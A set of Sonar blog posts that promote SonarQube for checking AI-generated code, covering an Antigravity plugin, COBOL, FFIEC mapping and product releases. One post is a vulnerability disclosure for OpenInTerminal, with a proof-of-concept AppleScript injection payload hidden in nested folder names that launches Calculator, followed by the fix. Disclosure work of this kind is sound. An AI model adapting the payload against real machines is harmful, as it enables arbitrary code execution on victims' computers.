In AI-native IDEs, there’s the SonarQube MCP Server, which lets your agents pull trusted SonarQube analysis directly into the editor to review AI-generated code and hold it to your standards. Cursor, Kiro, Devin Desktop, and Gemini or Copilot's VS Code agent modes all connect to SonarQube this way, so the same coding standards that govern your terminal-based workflow govern your IDE workflow too.

With the SonarQube MCP Server, CLI, and agent integrations, you stick to your preferred environment and habits. SonarQube adapts to you, not the other way around.

The environment is yours, the standard is constant

Regardless of your preferred AI coding environment, every line of code that an agent writes should be verified against a consistent standard before it reaches your codebase, and that standard cannot depend on whether you happen to prefer the terminal or a graphical editor.

So pick the environment that fits how you think and how you work. Run your agent in the IDE if you want the visual context, or in the CLI if you want the speed and composability. The CLI vs. IDE debate is one based on taste, and the choice is yours to make. What isn’t up for debate, however, is whether the code holds up. With SonarQube available to either side, it does.

Next steps

Explore the SonarQube products that plug into AI coding agents, in your CLI or IDE:

SonarQube CLI — the command line companion for SonarQube Cloud and Server
SonarQube agent integrations — plugins that connect AI agents to SonarQube
SonarQube MCP Server — trusted SonarQube analysis inside your AI-native IDE or CLI

Consult our developer guides to set up SonarQube within your preferred environment:

CLI — SonarQube plugin for Claude Code, GitHub Copilot CLI, Codex CLI, OpenCode CLI, and Antigravity CLI
IDE — Cursor, Zed, VS Code for GitHub Copilot, Codex, and Gemini, and Kiro

If you also want real-time feedback while you write code yourself, SonarQube for IDE runs alongside you in the editor.

Scaling AI-assisted development in US financial services without losing control

Ekaterina Okuneva — Tue, 28 Jul 2026 13:00:00 GMT

US financial institutions are entering a new phase of software delivery. Banks, credit unions, payment providers, fintech teams, and other financial services organizations need to modernize legacy systems, improve digital experiences, automate internal workflows, and respond faster to operational change.

AI-assisted development can expand what those teams are able to build. It can help engineers move faster through repetitive implementation work, generate tests, understand legacy code, and collaborate more directly with business, risk, and compliance stakeholders. But in financial services, faster code creation is only useful if the resulting software remains secure, maintainable, reviewable, and controlled.

That is the real adoption challenge. AI can increase software development velocity, but financial institutions still need evidence that software is being reviewed consistently, vulnerabilities are being identified early, dependencies are understood, and remediation is tracked before code reaches production.

To understand the impact automated code verification can have on a software development pipeline in a financial institution, it helps to look at how it supports the control expectations already used to govern software delivery in the industry. The FFIEC Development, Acquisition, and Maintenance booklet is a useful example. It does not create a separate regime for AI-assisted development or prescribe a specific tool, but it does describe the governance, secure development, testing, DevSecOps, supply chain, and change management practices that financial institutions are expected to manage across the SDLC.

That makes it a practical lens for evaluating AI-assisted development. As AI increases the speed and volume of code moving through the pipeline, the underlying expectations remain. Institutions still need consistent review, vulnerability detection, remediation tracking, software composition visibility, and evidence that controls are operating, and SonarQube is the code verification layer that supports all of the above without adding a strain on a normal engineering workflow.

How SonarQube maps to FFIEC DAM expectations

Governance and risk management

FFIEC DAM area	Compliance theme	How SonarQube supports it
Section II: Governance - QA reports and coding error detection	Governance evidence for coding-error detection	Provides reports on code quality, security findings, remediation progress, and quality gate outcomes, giving institutions evidence that coding errors are detected and tracked through a systematic process.
Section III.C: Risk Monitoring and Reporting	Timely software risk reporting	Surfaces open vulnerabilities, dependency risks, issue trends, policy exceptions, remediation status, and quality gate results across analyzed projects, helping management monitor software risk with clearer metrics.
Section III.D: Risk Mitigation - Early detection through developer feedback	Earlier detection and lower remediation burden	Brings findings into IDEs, pull requests, branches, and CI/CD pipelines so developers can address vulnerabilities, defects, and security hotspots earlier in the development process.

Governance and risk management

Development, quality, and SDLC controls

FFIEC DAM area	Compliance theme	How SonarQube supports it
Section IV.D: Secure Development - Automated Code Review	Automated secure code review	Performs automated code analysis to identify vulnerabilities, security hotspots, coding weaknesses, and quality issues before release, making code review more scalable and consistent.
Section IV.D: Vulnerability Scanning in Development Environments	Development-stage vulnerability detection	Analyzes code in development workflows, branches, pull requests, and CI/CD pipelines so code-level vulnerabilities and weaknesses can be addressed before promotion to production.
Section IV.K: Quality Management	Measurable QA/QC and remediation tracking	Provides quality and security metrics, issue trends, remediation visibility, and project-level reporting, giving QA, security, and engineering teams a repeatable way to track defects and validate quality practices.
Section IV.O: System Development Life Cycle - Security Throughout SDLC Phases	Traceable security and quality review across the SDLC	Creates code-level evidence that security and quality risks are being reviewed as systems are developed, implemented, changed, and maintained.
Section V.A: Development Standards and Controls	Consistent coding and security standards	Applies defined coding rules, security rules, quality profiles, and quality gates across projects, helping institutions enforce standards and document whether software meets expected thresholds.

Development, quality, and SDLC controls

Testing, DevOps, and DevSecOps

FFIEC DAM area	Compliance theme	How SonarQube supports it
Section V.B: Testing - Static Analysis	Static code testing	Examines source code without executing it to identify vulnerabilities, reliability issues, maintainability problems, and other code defects, making static analysis part of the ongoing testing program.
Section V.B: Testing Documentation and Corrective Action	Testing records and remediation evidence	Maintains records of findings, issue status, severity, assignment, remediation activity, and quality gate outcomes, helping teams document what was tested, what was found, and how issues were addressed.
Section V.C.1: DevOps Risk Controls	Controls for fast-moving delivery pipelines	Adds automated analysis, quality gates, and visible issue tracking to delivery workflows, helping reduce DevOps risks related to unscanned code, inadequate metrics, and bypassed coding standards.
Section V.C.2: DevSecOps	Security embedded throughout delivery	Integrates code analysis into CI/CD and developer workflows, helping teams apply security and quality checks continuously while giving developers timely feedback.

Testing, DevOps, and DevSecOps

Open source and software supply chain

FFIEC DAM area	Compliance theme	How SonarQube supports it
Section IV.A: Open-Source - Component Analysis	Open-source and third-party component risk	Identifies third-party and open-source dependencies, vulnerability and license-policy risks, and direct and transitive dependency exposure, helping institutions assess inherited software risk from analyzed components.
Section IV.A and IV.C.1(a): Open-Source License Risk and Compliance	License visibility and policy review	Identifies licenses associated with open-source dependencies and flags license-policy concerns for legal, procurement, security, and engineering review.
Sections IV.D and IV.Q.1: Third-Party Secure Development and Supply Chain Risk Review	Externally supplied code and supply chain software risk	Allows third-party-supplied code and dependency manifests to be analyzed against the same security, quality, and policy checks used for internal development.
Section IV.Q.2: Software Bill of Materials	Software composition transparency	Maintains visibility into analyzed software dependencies and SBOM-related component information, helping institutions document software composition and match components to known vulnerabilities.

Open source and software supply chain

Containers and repository-based change

FFIEC DAM area	Compliance theme	How SonarQube supports it
Section IV.H: Containers - Embedded Secrets and Component Risk	Secrets and vulnerable components before packaging	Detects secrets, credentials, and private keys in source code and configuration files before they are packaged into container images, and identifies dependency risks in containerized applications.
Section VII.B.2(c): Code Repository Controls	Automated review evidence in repository workflows	Analyzes code from connected repositories and pull requests before changes are merged or released, adding automated review evidence to repository-based workflows.

Containers and repository-based change

Why does this matter for AI-assisted development?

AI-assisted development changes the economics of software creation: it allows teams to produce more code, move through routine work faster, and bring business expertise closer to implementation. For US financial institutions, that creates a meaningful opportunity: more software can be built closer to the workflows, risks, and controls it is meant to support.

AI can increase the volume of code, dependencies, and change events moving through the SDLC. But every one of those changes still needs to be reviewed against the institution’s standards for security, quality, maintainability, and software supply chain risk. If verification remains manual or late-stage, the institution does not gain speed; it moves the bottleneck to review, remediation, and approval.

For financial institutions, the goal is to increase delivery capacity while preserving confidence in the software being built. SonarQube makes that model practical: AI can accelerate development, while continuous verification keeps quality, security, maintainability, and software supply chain risk visible across the SDLC. Get in touch to learn more.

Now available: SonarQube plugin for Antigravity

Brooks Naylor — Mon, 27 Jul 2026 13:00:00 GMT

What is the SonarQube plugin for Antigravity?

AI coding agents generate code faster than any team can review. Google Antigravity lets software developers architect and implement entire features in minutes. That velocity creates a new risk: code quality and security debt accumulates faster than anyone can catch it.

The SonarQube plugin for Antigravity closes that gap. It embeds deterministic code verification inside the agent's own workflow, so the same standards you enforce in CI apply the moment code is generated.

The plugin connects Antigravity to your SonarQube instance through the SonarQube MCP Server and the SonarQube CLI. Once installed, Antigravity agents can query quality gate status, list open issues, review coverage and duplication, and assess dependency risks, all without leaving the session. Verification runs against the quality profiles and gates your organization already maintains.

The Antigravity plugin joins the wave of SonarQube agent plugins released in 2026, extending consistent code verification to another environment where your software developers generate code. No tool left behind, no quality gap left open.

How do I set up the SonarQube plugin for Antigravity?

Antigravity uses two install surfaces, both backed by the SonarQube CLI, so the full setup only takes two steps. First, install the plugin bundle, which delivers skills, agent rules, and SonarQube MCP Server configuration:

agy plugin install https://GitHub.com/SonarSource/sonarqube-agent-plugins

Then authenticate and wire up the rest with the SonarQube CLI:

sonar auth login -o <your-organization-key-here>
    sonar integrate antigravity

That second command installs secrets scanning hooks, Sonar Vortex agentic analysis instructions and a context augmentation skill, and the SonarQube MCP Server patch. Prefer a guided flow? Run /sonarqube:sonar-integrate inside Antigravity to walk through the CLI installation, authentication, and plugin integration.

From there, use slash commands like /sonarqube:sonar-quality-gate or use natural language prompts such as "analyze my code for issues" or "check my coverage."

Sonar Vortex delivers inner-loop verification. For organizations with Sonar Vortex enabled, verification runs automatically at the end of each turn, across every file the agent changed, before it hands the turn back, with no manual invocation required. Vortex feeds the agent your context and constraints before it writes, verifies each change in session and in real time , and prompts the agent to correct its output when a check fails. The result is a closed loop: guide the agent with the right context, verify every edit deterministically, and fix issues before they leave the session.

Why does AI-generated code need independent quality verification?

AI models are probabilistic. The same prompt can produce different results on different days. That makes independent, deterministic verification mandatory, not optional. SonarQube is the independent verification layer: the same code produces the same result every time, giving you an auditable standard that AI self-review cannot.

This is the Agent Centric Development Cycle (AC/DC) in practice. The framework rests on three pillars. Guide agents with your standards, architecture, and constraints before they write. Verify every change with zero-trust, multilayered verification across quality, security, and compliance. Solve the issues verification finds, in the same session. The plugin places Guide and Verify inside Antigravity's own generation loop rather than deferring verification to the next CI run.

Verification at this pillar matters because small errors compound. When agents work for extended sessions and produce large payloads, a missed issue early on cascades through thousands of lines. Catching it at the point of generation is faster, cheaper, and far less disruptive than catching it downstream. That is why developers who verify their code with SonarQube are 44% less likely to report outages due to AI-generated code.

How do I install and configure the SonarQube plugin for Antigravity?

The plugin is available now. Launch Antigravity, install the plugin bundle with agy plugin install https://GitHub.com/SonarSource/sonarqube-agent-plugins, then run sonar auth login and sonar integrate antigravity to configure authentication, the MCP server, a secrets-scanning hook, prompt-secrets rules, and Sonar Vortex. Within minutes, every Antigravity session benefits from automated verification by SonarQube.

Use Antigravity for speed. Use SonarQube for trust.

Get started with SonarQube Cloud | Contact sales

COBOL is back, and AI is writing it. Who's verifying the code?

Taylor Luttrell-Williams — Thu, 23 Jul 2026 13:00:00 GMT

COBOL wasn't supposed to be a 2026 story. The programming language turns 67 this year, most universities stopped teaching it in the 1990s, and for two decades the standard industry take assumed that it would quietly age out. Instead, COBOL’s back in the headlines because the two forces bearing down on it have finally collided: the people who understand COBOL are retiring, and AI has become capable enough to be pointed straight at the code they're leaving behind.

This confluence of factors is driving genuine investment, but most of its coverage is fixated on the wrong angle. Businesses and government agencies alike want to understand whether AI can write and translate COBOL. The harder question, and the one that actually decides whether any of this is viable, is who verifies what the AI produces before, for example, it runs the payroll for a state government or clears a few billion dollars in overnight settlement.

COBOL's comeback is a survival move

This isn't a hype cycle, but rather triage, and the systems in question are load bearing for the economy. According to reporting by Reuters, an estimated $3 trillion in daily commerce flows through COBOL systems, with roughly 220 billion lines of code still running in production. Those figures are order-of-magnitude estimates from 2017, but nobody disputes the shape of it: banks, insurers, airlines, and government agencies like the IRS and the Social Security Administration still run core operations on COBOL. When several U.S. states sought out COBOL developers during the 2020 unemployment surge and couldn't find them, that wasn't a fluke, but instead a preview of what was to follow in the coming years.

The workforce math is central to this problem. The engineers who wrote and maintained these systems are reaching retirement, and the pipeline behind them dried up 30 years ago. Organizations aren't investing in COBOL because it's novel, they're investing because the alternative involves losing the institutional knowledge encoded in millions of lines of code that few engineers fully understand anymore, and that they cannot afford to get wrong. When assigned to COBOL, that's the context AI walked into.

Can AI write and translate COBOL code?

The most valuable thing AI does with COBOL isn't writing new code, it's explaining old code. Business-rule extraction, pointing a model at an undocumented paragraph and getting back a plain-language description of what it does, attacks the exact problem the retirement cliff creates. Knowledge that lives in one senior engineer's head can be surfaced, documented, and preserved before that engineer retires.

From there, AI accelerates the work that historically stalled COBOL modernization:

Translation — agents can rewrite COBOL business logic into modular components or modern languages like Java, producing a first draft in a fraction of the time that a manual port would take.
Testing and debugging — models generate test cases against existing behavior and refactor tangled procedures into something more legible.

AI compresses the understanding phase, which is the part that used to make COBOL modernization cost more than it was worth. The shift is monumental, and it's why the market suddenly cares about a language it had once written off.

What are the risks of using AI to modernize COBOL systems?

AI output is often a draft, not a finished product: a translation can look right but behave differently in subtle ways, or quietly reproduce the insecure patterns models pick up from their training data. And agents produce those mistakes at a scale and speed no human review process was designed to absorb. In an ordinary web app, you catch those in staging; in a benefits-disbursement system, you catch them when the checks are wrong.

Now layer another problem on top: the people qualified to catch these mistakes are the same people who are exiting the workforce. The COBOL expertise shortage isn't only a code-writing problem, but also a code-reviewing problem. Every argument in favor of using AI (because human experts are scarce) is also, quietly, an argument that there are fewer humans left to verify what the AI wrote. The shortage doesn't just create the need for automation, it removes the safety net underneath it.

There's a more hopeful reading too, but one which also points toward verification: in the case of COBOL, agents can make good teachers. They help explain unfamiliar code, so a developer who has never before opened a COBOL program can become productive in weeks instead of months. Understandably, however, the developer learning COBOL with an AI agent is not as well equipped to notice when that agent is subtly wrong, and lowering the barrier to writing COBOL merely grows the pool producing it faster than the pool that can vouch for it.

Such are situations where more code is being generated faster, by tools that make subtle errors, headed into systems that genuinely cannot fail, reviewed by a shrinking pool of experts. That gap between how fast code is produced and how fast it can be verified is the real bottleneck in COBOL modernization: not generation, but trust.

SonarQube: the verification layer for COBOL

SonarQube analyzes COBOL directly, with nearly 200 rules covering reliability, security, and maintainability issues across 10 COBOL dialects, reaching into the embedded DB2 SQL and CICS statements where real mainframe logic actually lives. When an issue spans more than one spot in the code, the analyzer highlights each location, and its rules carry remediation guidance, so a fix is legible even to someone who isn't a 30-year COBOL veteran.

SonarQube analysis doesn't care who wrote the code, so a quality gate applies the same pass-or-fail bar to a retiring expert's hand-written paragraph and an agent's freshly translated module. The goal is to verify all code, whether it's first-party, AI-generated, or open source. For COBOL specifically, this neutrality is the point: when there aren’t enough human reviewers to keep up with what your agents produce, a deterministic analysis layer becomes the consistent second set of eyes, except that it doesn't retire, it doesn't skim, and it checks every line the same way, on every commit.

Consider a small, familiar example: an EVALUATE statement with no WHEN OTHER branch silently ignores every value that it wasn't explicitly told to handle. A rushed reviewer scrolls past it, and an AI agent translating a paragraph reproduces the omission without a second thought. Static analysis flags the unhandled case every single time, before it becomes the edge case that only ever lived in an expert’s memory. Multiply that across a modernization program running thousands of files, and the value of an automated bar that never gets tired becomes glaringly obvious.

Practically, the capability spans the products you'd already reach for: COBOL analysis is available in SonarQube Server (Enterprise Edition) and SonarQube Cloud (on an Enterprise plan), with in-editor feedback through SonarQube for IDE in connected mode. You extract the source to a filesystem and analyze it where the rest of your quality checks already live.

Accelerate with AI agents, verify with SonarQube

Strip away the COBOL specifics and you’ll reveal the broader direction of modern software development: agents generate, and an independent layer verifies. It's the pattern Sonar calls the Agent Centric Development Cycle, where verification is mandatory, not optional, and is grounded in deterministic analysis (rather than asking a model to grade its own homework). COBOL represents a vivid proof case: the oldest and (arguably) highest-stakes code in the world, now being touched by the newest tools. AI didn't remove the need for rigor in COBOL; it raised it, and moved it to the verification layer.

If your organization is modernizing COBOL with AI in the loop, the question to answer before you scale it isn't whether the agents are fast and capable, but instead whether every line they produce has to clear the same gate as everything else. That gate is the difference between modernizing with confidence, and shipping expensive surprises into systems that were never allowed to have any.

Where to go next

SonarQube COBOL analysis — supported dialects, rule coverage, and how COBOL analysis fits your pipeline.
SonarQube Server COBOL docs and SonarQube Cloud COBOL docs — configuration, dialects, and embedded SQL/CICS setup.
Verify AI-generated code with Sonar — how the same verification bar applies to AI-generated and developer-written code.
The future is AC/DC — why an independent verification layer is the center of gravity in agent-driven development.

Escape from AppleScript: Even folder names can be user input

Paul Gerste — Wed, 22 Jul 2026 13:00:00 GMT

OpenInTerminal is a popular macOS utility written in Swift that enhances the Finder by allowing users to quickly open the current directory in their preferred terminal application. It achieves this by integrating with the Finder's toolbar and context menu.

When we investigated the code base, we noticed that developers often use AppleScript as a replacement for the missing eval() function in Swift. This practice of dynamically creating and executing scripts brings the risks usually associated with dynamic languages into a compiled language.

This blog post will cover the technical details of an AppleScript Injection vulnerability discovered in OpenInTerminal, detected by SonarQube. We will walk through how a maliciously crafted folder could be used to execute arbitrary code on a victim's machine. Finally, we will look at how you can avoid such flaws in your code.

Escape from AppleScript

Impact

An attacker can exploit this vulnerability to execute arbitrary code on a victim's computer. For a successful attack, the victim must download or receive a malicious folder structure (for example, by cloning an untrusted Git repository or extracting a ZIP archive) and then attempt to open one of the nested folders using OpenInTerminal's functionality with a non-standard terminal or editor.

The attack can be disguised by using symbolic links to make the trigger folder more accessible, reducing the amount of user interaction required.

Technical details

After scanning the OpenInTerminal code with SonarQube Cloud, we are presented with a vulnerability finding:

The highlighted line of code will run arbitrary AppleScript code snippets passed to the execute() function. To understand if this is indeed a vulnerability, we need to verify where these scripts are coming from. For example, OpenInTerminal uses AppleScript to launch external applications. To open a given file system path in a terminal, the application constructs and executes an AppleScript do shell script command:

OpenInTerminalCore/App.swift:

var openCommand = DefaultsManager.shared.getOpenCommand(self, escapeCount: 2)
openCommand += " " + path.specialCharEscaped(2)
let source = """
    do shell script "\(openCommand)"
    """
try excute(source)

The core issue lies in how special characters within the folder path are escaped. The application attempts to escape special characters for a shell context, but this escaping is insufficient for the surrounding AppleScript context.

The specialCharEscaped(2) function escapes characters like a double quote (") with two backslashes (\\"). While this correctly escapes the quote for the shell script portion of the command, it leaves the double quote "unescaped" from the perspective of the outer AppleScript interpreter.

For example, a folder named foo"bar would be escaped into the following AppleScript source code:

do shell script "open -a iTerm /Users/paul/foo\\"bar"

This breaks the AppleScript syntax, as the lone " prematurely terminates the string, leading to an error. An attacker can leverage this escaping flaw to break out of the string context and inject their own AppleScript commands.

Exploitation path

Executing a payload isn't straightforward because many special characters needed for simple commands (like spaces and double quotes) are escaped. To build a working exploit, an attacker must overcome several limitations:

Bypassing character restrictions: To form a command string without using double quotes, an attacker can build it by converting ASCII character codes into characters (e.g., ASCII character 65 becomes "A"). Since the & character for concatenation is also escaped, an array of characters can be created and then coerced into a single string using the as text keyword. Additionally, since the space character (0x20) would be escaped, the attacker can use tabs instead.

-- create a char list: ['i', 'd']
set charlist  to  {ASCII  character 105,ASCII character 100}
-- cast to text, joining chars to a single string
set cmd to  charlist  as  text

Overcoming path length limits: macOS limits a single folder or file name to 255 characters, which is too short for a complex payload. The payload can be split across multiple nested folders. The path separator (/) that would break the script is hidden inside AppleScript line comments (--), which causes the interpreter to ignore it and treat the content of the nested folder names as a continuation of the script.

set a to  {ASCII  character 111,ASCII character 112,ASCII character 101,ASCIIcharacter  110,ASCII character 32,ASCII character 45,ASCII  character 97,ASCIIcharacter 32,ASCII character 67,ASCII  character 97}--/
set b to  {ASCII character 108,ASCII character 99,ASCII  character 117,ASCIIcharacter  108,ASCII character 97,ASCII  character 116,ASCII character 111,ASCIIcharacter 114}--/
set cmd to  {a,b} as  text
do  shell script  cmd --/interesting

Finalizing the payload: The final part of the payload must also start with a line comment (--) to ensure the original, trailing double quote from the do shell script command is ignored, preventing a syntax error. To make the attack more convincing, the attacker can add a top-level symlink pointing to the innermost folder so that the victim can end up in a folder whose path contains the payload without seeing or navigating through the suspicious intermediate folders.

When a user with a vulnerable version of OpenInTerminal tries to open the innermost interesting folder, the chained AppleScript payload executes, in this case launching the Calculator application.

Patch

The vulnerability can be mitigated by avoiding AppleScript for running shell commands. The recommended approach is to use the native Process interface to execute commands directly. This avoids passing the command through a secondary interpreter like AppleScript, eliminating the risk of an injection flaw caused by mismatched escaping rules.

The OpenInTerminal maintainer fixed this vulnerability by replacing string-built shell commands with structured argument passing. Previously, the application name and selected path were concatenated into a single command string, manually escaping a denylist of metacharacters before passing it to AppleScript’s do shell script. This was brittle: crafted filenames or application names could cross the data/code boundary and be interpreted as shell syntax.

The fixed implementation sends /usr/bin/open, its options, and each path as separate AppleEvent arguments. The AppleScript then applies POSIX quoted form of to every element individually before execution, ensuring untrusted values remain literal arguments. This mirrors APIs such as execve() or subprocess.run([...], shell=False): preserve argument boundaries instead of trying to sanitize a command string.

Timeline

Date	Action
2025-05-08	We report the vulnerabilities to OpenInTerminal's maintainer
2025-05-22	The maintainer confirms the issues and states they will work on it in July
2025-08-07	We inform the maintainer that our 90-day disclosure deadline has elapsed
2026-07-13	The maintainer fixes the issues and releases v2.3.9

Summary

This vulnerability in OpenInTerminal is a good reminder of the risks associated with dynamically generating and executing scripts from user-controlled data, which includes something as seemingly innocuous as a file path. When one programming context (Swift) creates code for another (AppleScript) which in turn executes a third (shell), the escaping and sanitization rules must be perfectly aligned for all layers. A mismatch in these rules, as seen here, can create subtle but critical injection vulnerabilities. Developers should always favor native, safer APIs for process execution over dynamic script generation whenever possible.

Introducing SonarQube Server 2026.4

Robert Curlee — Wed, 22 Jul 2026 13:00:00 GMT

AI coding agents are writing more code than ever, and the pace is not slowing down. Pull requests that used to run a few hundred lines now run into the thousands. The question engineering organizations face is no longer whether to adopt agentic development. It's whether they can verify what agents produce fast enough, and rigorously enough, to ship it safely.

Today, Sonar is announcing SonarQube Server 2026.4. This release strengthens the code verification layer your organization needs for the agentic era: a quality gate purpose-built for AI-generated code, architecture management now available on SonarQube Server, and organization-wide visibility into whether quality gates are holding or quietly being bypassed.

At the center of this release is the new "Sonar way for Agentic AI" quality gate. Agent-generated code carries a different risk profile than code written by humans, agents rarely produce sloppy style, but they can introduce new dependency risk, security gaps, and reliability issues at a higher rate. This gate is calibrated to that reality: stricter on code security, reliability, and new dependencies, more permissive on minor maintainability issues that don't carry real risk. It includes new supply chain conditions built specifically for agentic threats, including agents that autonomously pull in typosquatted, hallucinated, or vulnerable packages. Alongside the new gate, this release expands in-product promotion of the Agentic AI quality profiles for JavaScript, TypeScript, Python, and Java, making it easier for teams to discover and adopt rule sets focused on where AI-introduced risk actually lives. AI security detection is extended with a dedicated family of agentic-security rules that cover the injection surface unique to CLI code, additional MCP-based security risks, and data leaks in AI mechanisms, catching the threat classes that emerge specifically when agents write the code

Architecture management also comes to SonarQube Server for the first time, at no additional cost. Software architects can now visualize current architecture, define which components are allowed to depend on each other, and let SonarQube automatically flag violations, closing a capability gap that previously existed only in SonarQube Cloud and giving teams a way to manage structural drift before it becomes expensive technical debt.

To help teams see whether their quality gates are working in practice, not just in theory, a new dashboard tracks how often main branch releases pass or fail the gate over time and flags "risky releases" where code shipped despite a failing check. Developer leads get evidence instead of anecdotes. Engineering executives get a way to quantify the organizational risk created when quality gates are treated as optional.

This release also delivers meaningful speed improvements. Codebases with many entry points and large taint graphs now see up to 90% faster scans, with some large Java projects dropping from roughly 20 minutes to under a minute. Coverage is unchanged. No configuration change is required. Security-relevant findings, including injection-style vulnerabilities and other dataflow issues, reach developers far sooner in the review cycle. GitHub App setup is also faster: a new guided, one-click flow cuts integration time from around 12 minutes to under two, eliminating manual configuration and the risk of over-privileging the connection. Bulk actions for dependency risk triage round out the efficiency gains, bringing software composition analysis workflows in line with how standard code issues are already managed.

Rounding out the release: new rules catch notoriously hard-to-reproduce bugs in Java date and time handling, full support for the Gosu language opens SonarQube to Guidewire-based insurance organizations for the first time, and new performance baselines give teams a shared definition of "normal" analysis duration.

SonarQube Server 2026.4 is available now. Explore the full release notes to see everything included, and start verifying agent-generated code with the rigor it demands.

SonarQube Cloud now supports GitHub Enterprise Cloud with data residency (GHE.com)

Andrew Osborne — Tue, 14 Jul 2026 13:00:00 GMT

If your organization runs GitHub on a dedicated subdomain like yourcompany.ghe.com, you can now connect it to SonarQube Cloud. SonarQube Cloud support for GitHub Enterprise Cloud with data residency (GHE.com) is generally available today on the SonarQube Cloud Enterprise plan, in the EU and US regions.

Until now, SonarQube Cloud connected only to standard GitHub.com, so teams on a data-resident domain had no path to it. This release opens that path. You get the full analysis capabilities of SonarQube Cloud as a managed service, connected directly to your data-resident GitHub - with no analysis infrastructure to run yourself.

Why data residency matters for regulated industries

AI agents and tools like GitHub Copilot are generating code faster than teams can review it, and in regulated industries that velocity collides with strict requirements for auditability and compliance. SonarQube is the independent zero trust verification layer that holds every line to the same standard, regardless of which agent or developer wrote it, giving you the auditable record regulators expect.

GHE.com is GitHub's managed cloud offering for organizations with data residency requirements, accessed through a dedicated subdomain like yourcompany.ghe.com. Data sovereignty requirements in financial services, automotive, healthcare, and defense often rule out standard GitHub.com. For teams on GHE.com, that also meant SonarQube Cloud was out of reach - the SaaS path to Sonar analysis was not available to them.

That changes with this release. SonarQube Cloud now binds directly to your GHE.com organization, so you can analyze code where your identity management system and your data already live. Your code stays inside your residency boundary, and you get Sonar's zero trust, multilayered verification delivered as a fully managed service, the same SonarQube benefits, available wherever your team prefers to run it.

What you can do now in GitHub Enterprise Cloud

Once you bind your GHE.com organization to SonarQube Cloud, you can:

Analyze private and internal repositories with zero-trust, multilayered verification across quality, security, and reliability.
See results directly on your pull requests with PR decoration, so issues surface where developers work.
Bulk-import existing repositories in one click, then let auto-import ingest new repositories as they are created.
Run automatic analysis as repositories are ingested.

The practical impact: you onboard your entire estate fast, and every new repository gets verified from day one. No manual setup gates, no repositories slipping through unanalyzed.

How multilayered verification fits into Sonar's vision

In the agent era, verification isn't optional. AI-generated code can introduce complex, hard-to-find issues that may compound quickly in agentic workflows. Sonar offers a zero trust, multilayered verification approach, combining automated AI-native PR validation with established algorithmic verification to deliver a robust approach to ensuring high quality and secure code.

Extending SonarQube Cloud to GHE.com brings that verification layer to the teams who need it most. Regulated enterprises no longer have to choose between data sovereignty and a managed, cloud-based approach to code analysis. You get both, applied consistently across every repository and every agent.

Get started today

Visit this page to get started today.

Frequently asked questions

What is GHE.com, and how is it different from GitHub.com?

GHE.com is GitHub Enterprise Cloud with data residency, GitHub's managed cloud offering that keeps your data in a specific region. Organizations access it through a dedicated subdomain like yourcompany.ghe.com. It serves regulated industries where data sovereignty rules exclude standard GitHub.com.

Is GHE.com the same as GitHub Enterprise Server?

No. GHE.com is GitHub's managed cloud product with regional data residency. GitHub Enterprise Server (GHES) is the self-hosted, on-prem product you run yourself. This release supports GHE.com.

Which regions and plans are supported?

SonarQube Cloud support for GHE.com is exclusively available under the SonarQube Cloud Enterprise plan, in the EU and US regions.

Do I need to configure CI to analyze my repositories?

No. After you bind your GHE.com organization, you can bulk-import existing repositories in one click and configure auto-import for new ones. Repositories are analyzed automatically as they are ingested, with no CI setup required.

How do I set it up?

Unlike GitHub.com, where GitHub partners list integrations in the GitHub Marketplace, GHE.com has no Marketplace. You create your own GitHub App on your GHE.com instance instead, where permissions are auto-configured. Then you create a SonarQube Cloud organization, point it at your subdomain, and import your repositories. Full setup documentation is available in the getting started guide.

AI Assistant Development in Regulated Industries

Ekaterina Okuneva — Mon, 13 Jul 2026 13:00:00 GMT

In regulated industries, the demand for internal software has always exceeded the capacity to build it. These systems are not peripheral; they make up the operational layer that automates workflows, streamlines processes, and turns institutional knowledge into repeatable execution. AI changes the capacity equation, but only if organizations can turn higher development speed into trusted, production-ready solutions.

For years, engineering teams have carried more demand than they could realistically meet. External providers have helped fill the gap, but they have not solved the deeper problem: regulated organizations need more internal capability. They need software built closer to the people who understand the business, workflows, risks, and decisions that software supports.

SonarQube helps make that shift practical. It gives organizations a way to expand AI-assisted development while keeping code quality, security, and maintainability embedded in the delivery process.

Expand what engineering teams can build

AI gives engineering teams a capability multiplier.

Engineers who once spent significant time navigating legacy codebases, writing boilerplate, generating tests, producing documentation, or untangling brittle integrations can now move faster through that work. That gives them more time for the problems that need judgment: architecture, system design, business logic, risk, and long-term maintainability.

In regulated industries, that leverage matters. Engineering talent is expensive, demand is high, and many valuable internal software projects are delayed, deprioritized, or outsourced because teams do not have enough capacity.

SonarQube strengthens the case for building internally by making increased development velocity more governable. Teams can use AI to increase output without relying on manual review as the primary control point. Automated analysis and quality gates help ensure that more code does not simply mean more unmanaged risk.

Bring domain expertise closer to implementation

AI is changing who can participate in software creation.

In regulated industries, the people who understand the business problems most deeply are often the most removed from the codebase. Physicians understand how clinical workflows should behave. Scientists understand the data pipelines that support their research. Actuaries understand the logic underwriting models need to enforce. Compliance teams understand the regulatory nuance that software often has to translate into process.

That distance has always carried a cost. Business nuance gets translated through too many layers before it reaches implementation, and the software that emerges can be technically sound while still missing the operational precision that makes it valuable.

AI narrows the gap between domain expertise and technical ability. Domain experts can prototype logic, express requirements with more precision, and collaborate with engineering teams in more direct ways. Institutional knowledge becomes easier to translate into working software.

SonarQube makes that broader participation safer by embedding a precise issue detection mechanism into the workflow. A physician contributing to a clinical workflow tool should not be expected to identify a hardcoded credential, same as a scientist working on a data pipeline should not need to become a security specialist. SonarQube applies consistent checks across contributions, regardless of who wrote the code or how it was produced. That allows engineers to collaborate more broadly without absorbing every verification task manually. Their role becomes more strategic: guiding architecture, integration, design, business logic, and risk while automated analysis handles the checks that should be continuous and repeatable.

Make code verification a mandatory part of how software is built

For regulated organizations, more building requires more verification.

A vulnerability introduced through AI-generated code is still a vulnerability. Technical debt in a fast-moving prototype is still technical debt. A flawed dependency, exposed secret, or maintainability issue does not become less consequential because the team moved quickly.

As more code moves through the delivery pipeline, every change needs to be checked consistently for security, reliability, maintainability, and compliance risk. That verification has to be automatic, continuous, and fast enough to avoid becoming the next bottleneck.

SonarQube is the verification layer directly inside the AI development workflow. It checks code for security vulnerabilities, secrets, reliability issues, maintainability concerns, and dependency risk. Quality gates enforce standards before code advances, making quality part of the delivery process rather than a separate manual step added after the fact. That allows regulated organizations to increase software output without creating a parallel increase in review queues, security backlogs, and rework.

Scale AI-assisted development with AC/DC

Sonar has formalized the shift to agentic software development through the Agent Centric Development Cycle (AC/DC): a model built for AI-assisted development at enterprise scale.

